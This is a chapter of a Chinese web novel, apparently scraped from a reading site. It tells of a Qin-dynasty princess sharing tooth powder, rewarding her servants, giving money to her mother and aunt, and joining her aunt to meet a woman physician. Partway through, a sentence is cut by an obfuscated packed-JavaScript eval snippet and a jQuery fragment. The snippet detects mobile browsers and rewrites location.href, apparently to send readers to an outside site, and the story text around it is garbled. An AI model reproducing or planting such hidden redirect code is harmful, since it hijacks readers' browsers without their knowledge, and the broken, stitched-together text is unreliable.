嬴秧首先问亲妈和姨妈,牙刷牙粉好不好用。
两位美人很给面子,都说好用,母太后和大王都爱用的东西怎么会差?
亲妈念叨,这回就算了,以后她少干些工匠事。
嬴秧低眉顺眼地在心中数了三百个数,哼哼说肚子饿了,一溜烟跑路。
出了门,嬴秧溜溜达达着往药室的方向走,药室从前不叫药室,是一个放置香草、薰笼等日用杂物的房间,自从嬴秧征用它之后,侍从们便称呼此地为公主的小药室,还专门弄了块地方砌灶——烧制竹盐。
嬴秧到的时候,药室里正热火朝天地干活,她答应要给便宜姊妹兄弟送牙刷牙粉,本想随便敷衍一下,把第一次做好的牙粉打包分类一下,每人送一两罐过,面子上也过得去。
亲妈不许,说不能这么小气,要她好好做、做多几样、做点贵的。
“咦?”嬴秧扫了一圈药室,发现药室内每个人分工不同,有条不紊地进行生产工作,“流水线雏形?这是谁安排的?”
清瘦细条的宦官腼腆道:“奴婢家中曾是工官,和阿蓼姊姊说起过作坊工匠如何行事,阿蓼姊姊便依照此前众人所做的事情好坏程度,一一分配至各处,让他们只管做自己分内的事,其余事一概不管。若发现有误,上报与我或阿蓼姊姊即是。”
差点忘了,段轮是见识过秦代工匠流水线工作体系的人。
不过,“阿蓼姊姊?”嬴秧扬眉,“我记得你比阿蓼年纪大?”
段轮赔着笑脸说:“阿蓼姊姊统管我等,小人不好直唤其名。”
“唔,这些小事你们说好就成。”嬴秧甩甩手,“阿蓼,你拿些牙粉送给阿母和姨母身边年高的老人。”
阿蓼躬身道:“唯。”
“不能光送别人,你们离我近,也该分点新东西用一用。阿蓼,你领六罐竹盐牙粉。没分到牙粉的,就用嫩柳枝清清牙口。”
段轮好容易才撑住笑容,不急,不急,迟早有一天公主会看重他的!
嬴秧立在原地想了想还有没有啥事没交待清楚。
还真有一件,“阿父赐我十万钱,这十万钱中有你们一份功劳,奖励你们二万钱!”
“多谢公主!”
“公主仁德!”
“公主真好!”
一时间,药室附近散发着洋洋喜气。
天降横财,别看二万钱分到每个人头上不多,那也是意外得来的惊喜呀!
而且一二百钱对于底层侍女宦官来说,能买粮买盐买肉,改善伙食,也能买麻买衣买鞋,收拾己身,还有攒着送礼、寄给宫外家人……
【叮,获得人气值……】
嬴秧带着一大波人气值走了。
走得太快,导致她错失好评。
……
“阿母,给你钱!”
嬴秧豪气地把写着“肆万”的柳木版往漆案上一拍,又拿出另外一张“叁万”的木版,移到夏长君面前,“阿姨,你也有。”
平整四方的柳木版上的字体歪歪扭扭,夏仙莳看着,有些好笑,又有股莫名涌起的感动,这股热流烘得她身子软软、心也软软。
“你这孩子……”她轻嗔,顿了顿,才吞下喉间的哽咽,道:“如何只给你阿姨三万?”
夏长君连忙捅了捅妹妹,“阿莳,你又来了。孩子有孝心,你不夸奖,怎么还责备起来了?你是她亲母,她不给你多些,才叫不分亲疏呢!我也是沾你的光才得分!”
夏仙莳何尝不知道道理?
不过是把场面圆过去罢了,大人的世界~
夏仙莳轻哼:“阿姊你就纵着她罢,她才多大,就晓得藏私财了!”
虽说十万钱是秦王赐给女儿的,可嬴秧没长大成年,她名下没有多少财产,就算有,也是放在监护人亲妈手里,要用得亲妈点头,嬴秧赐下二万钱这件事,夏仙莳自然知晓。
“你藏的那一万,就当是你阿姨赠你的。”夏仙莳道,“我这再给你拿一万。”
意外之喜!
“多谢阿母!多谢阿姨!”嬴秧团团拱手。
瞧她为了二万钱就喜得眯眼张牙,两个夏氏贵女乐得前仰后合。
“跟猴子似的!”
嬴秧嘿嘿一笑。
三娘母玩笑了一会儿,夏长君打了个哈欠。
夏仙莳担心起来,“阿姊可是为筹备祭祀劳累过多?召个太医看看吧?”
嬴秧就说:“阿姨找个可靠的医
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626065|172365||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
者,确认妊娠孕相吧。”
夏长君疲倦一笑,“我写信让家里为我寻找医术佳、人品好的妇医,已有人选,过几日我便召她入宫……”
有侍女低声说有事要通报。
那侍女进门后,和夏长君的傅姆水氏耳语片刻,水氏又和夏长君附耳。
夏长君脸上先是有些惊讶,而后皱起眉,“她就这么急着进宫?”
水氏低低说了几个词。
嬴秧只听得懂“少阳君”“逼迫”等零星词汇,好奇心被勾起,倾身的幅度越来越大。
“坐直!”夏仙莳扶正女儿。
夏长君从倚着凭几到坐直,淡淡说了句:“传。”
想了想又怕有人从中作梗,命傅姆水氏亲自出面去领人。
水氏退下后,夏长君说要待会有客人,她要更衣。
嬴秧以为这是逐客的委婉说辞,心中失望,仍老实地准备退下。
夏长君却问嬴秧要不要一起见客。
嬴秧反倒有些迟疑,“我吗?阿姨是想面试妇医吧?我不懂医理……”
夏仙莳帮腔,“是呀,阿姊,她一个小孩儿家,懂什么?”
夏长君沉默片刻,说道:“大王不以寻常小儿视阳滋,我也如此。”
她只说了那么一句,就不再多解释。
人多眼杂口杂,有些话不能说得太直白,只能放进心底——
夏长君无子却封夫人,其中有生得美貌、出自夏氏的缘故,但更重要的原因是,她天生对人有种敏锐的直觉、认知,能在短时间内摸清一个人的大致性格、喜欢什么、厌恶什么,更了不起的是,她能够隐约感知到哪个人在哪方面强些。
五娘年幼,理应无知,可现实是五娘懂得很多,她的小脑袋里装着大人都不明白的东西。
古怪的,新奇的,有用的。
打心底里说,夏长君相信五娘是有神异的,或者说,她愿意相信。
不着痕迹地抚了抚肚子,夏长君微笑道:“阳滋在一旁吃喝玩乐便是,可以直接说,也可以暗暗记下,咱们私下说。”
嬴秧立刻比了个ok的手势,见姨妈目露迷茫,改说好好。
一个时辰后,女医公乘卓求见。